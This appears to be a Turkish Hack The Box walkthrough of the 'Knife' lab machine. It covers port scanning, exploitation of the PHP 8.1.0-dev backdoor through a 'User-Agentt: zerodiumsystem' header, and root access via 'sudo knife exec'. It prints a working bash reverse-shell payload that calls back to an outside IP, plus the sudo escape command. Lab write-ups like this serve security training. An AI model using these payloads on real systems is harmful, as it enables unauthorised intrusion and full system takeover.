Hack The Box — Knife
Port Tarama
İlk olarak hedef sistem üzerinde full port tarama işlemi gerçekleştirilir.
Full Port Tarama
Gerçekleştirilen full port tarama işlemi sonrası açık olduğu tespit edilen portlar aşağıda verilmiştir.
nmap -p- — open -vvv 10.10.10.242 -oN fps.txt
Gerçekleştirilen full port tarama işlemi sonrası açık olduğu tespit edilen portlar aşağıda verilmiştir.
22/tcp80/tcp
Versiyon Tarama
Ardından açık olduğu tespit edilen portlar üzerinde versiyon ve script taraması gerçekleştirilmiştir.
nmap -p 22,80 -sV -sC -vvv 10.10.10.242 -oN vs.txt
Bilgi Toplama
Port 80
İlgili adres tarayıcı üzerinden görüntülendiğinde aşağıda ekran görüntüsü verilen sayfa ile karşılaşılmıştır.
Ardından “wfuzz” aracı ile dizin tarama işlemi gerçekleştirilmiş ancak buradan herhangi bir detay elde edilmemiştir.
Bu tarama için aşağıdaki komutu kullanabilirsiniz;
wfuzz — hc 400,404 -c -z file,/usr/share/wordlists/dirb/big.txt http://10.10.10.242/FUZZ
Daha sonra “nikto” aracı ile zafiyet tarama işlemi gerçekleştirilmiştir.
nikto --host=http://10.10.10.242/
Burada dikkat çeken iki HTTP başlığı tespit edilmiştir:
Server: Apache/2.4.41 (Ubuntu)X-Powered-By: PHP/8.1.0-dev
Ardından bu durum bir proxy aracı ile araya girerek de doğrulanmıştır.
Daha sonra ilgili versiyonlar kapsamında Google üzerinden exploit araştırmaları gerçekleştirilmiştir. Bu aşamada “PHP/8.1.0-dev” versiyonunda hedef sistem üzerinde uzaktan kod çalıştırılmasına neden olan bir açıklık bulunduğu ve bunun Exploit-DB üzerinde yayınlanan bir exploiti var olduğu gözlemlenmiştir.
İlgili exploite dair detaylar aşağıdaki gibidir;
https://www.exploit-db.com/exploits/49933
Zafiyetin Tespiti
İlgili exploit incelendiğinde PHP’nin söz konusu sürümü bir sunucuda çalışıyorsa, saldırganın “User-Agentt” başlığını göndererek hedef sistem üzerinde rastgele kod çalıştırabileceği ifade edilmektedir.
Bunu tespit etmek amacıyla BurpSuite ile araya girilerek ilgili isteğin başlıkları arasına “User-Agentt” başlığı eklenmiş ve ilgili istek gerçekleştirimiştir. Gerçekleştirilen isteğe ait dönen yanıt incelendiğinde hedef sistem üzerinde kod çalıştırabilindiği gözlemlenmiştir.
Eklenen başlık bilgisi, gerçekleştirilen istek ve dönen yanıta ait detaylar aşağıda verilmiştir.
User-Agentt: zerodiumsystem("id");
Zafiyetin İstismarı
Bu aşamada hedef sistem üzerinden reverse shell alabilmek için ilgili başlık içerisine reverse shell kodu eklenmiştir. İlgili istek gerçekleştirilmiş ve hedef sistem üzerinden başarılı bir şekilde oturum elde edilmiştir.
Eklenen başlık bilgisi, gerçekleştirilen istek ve oturumun başarılı bir şekilde elde edilmesine ait detaylar aşağıda verilmiştir.
User-Agentt: zerodiumsystem("/bin/bash -c 'bash -i >&/dev/tcp/10.10.14.2/7777 0>&1'");nc -lvp 7777
Ek olarak ilgili exploitin aşağıdaki github reposu üzerindeki scriptini kullanarak da istismar işlemini gerçekleştirebilirsiniz.
https://github.com/flast101/php-8.1.0-dev-backdoor-rce
Ardından hedef sistem üzerindeki ilk hedef olan “user.txt” dosyasının içeriği görüntülenmiştir.
user.txt
Yetki Yükseltme
Hedef sistem üzerinde görebileceğiniz üzere “james” kullanıcısının haklarında oturum elde edilmiştir. Bu aşamada hedef olarak sunulan “root.txt” dosyasını tespit edebilmek için Linux sistemlerdeki en yetkili kullanıcı (root) haklarının elde edilmesi gerekmektedir.
Bundan dolayı Linux yetki yükseltme kapsamında hedef sistem üzerinde numaralandırma işlemi gerçekleştirilmiştir. Bu kapsamda faydalanılabilecek komutların tamamını incelemek isterseniz daha öncesinde çok daha fazlasını paylaştığım OSCP Önerilerimi inceleyebilirsiniz.
Gerçekleştirilen numaralandırma işlemi esnasında “james” kullanıcısının “sudo -l ” komutu ile hangi ayrıcalıklara sahip olduğunu incelediğimizde söz konusu kullanıcının parola koruma olmaksızın “/usr/bin/knife” uygulamasını “root” hakları ile çalıştırabileceği gözlemlenmiştir.
İlgili tespite ait detaylar aşağıda verilmiştir.
sudo -l
Ardından ilgili uygulama dosyasının içeriği incelenmiş ve birçok paketin içe aktarıldığı Ruby gerekliliği olan bir uygulama olduğu gözlemlenmiştir.
İlgili tespite ait detaylar aşağıda verilmiştir.
cat /usr/bin/knife
Ardından ilgili uygulama sudo haklarında başlatmak için aşağıdaki syntax kullanılmış ve çıktısı incelenmiştir.
Söz konusu çıktıya ait örnek ekran görüntüsü aşağıda verilmiştir.
sudo /usr/bin/knife
İlgili çıktı incelendiğinde bu komutun yapabileceği birçok işlem olduğu gözlemlenmiştir, ancak buradaki “exec” komutu dikkat çekmektedir. Bu aşamada “knife” komutu hakkında Google üzerinde araştırmalar gerçekleştirilmiştir. Gerçekleştirilen araştırmalar sonucu OSCP Önerileri içerisinde de yer alan GTFOBins üzerinde aşağıda verilen komut ile root haklarını elde edebileceğimiz tespit edilmiştir.
root.txt
Ardından ilgili komut hedef sistem üzerinde çalıştırılmış ve root hakları elde edilmiştir. Son olarak ise hedef sistem üzerindeki bir diğer hedefimiz olan “root.txt” dosyasınin içeriği görüntülenmiştir.
İlgili detaylar aşağıda verilmiştir.
sudo knife exec -E 'exec "/bin/sh"'
🥂👩🏻💻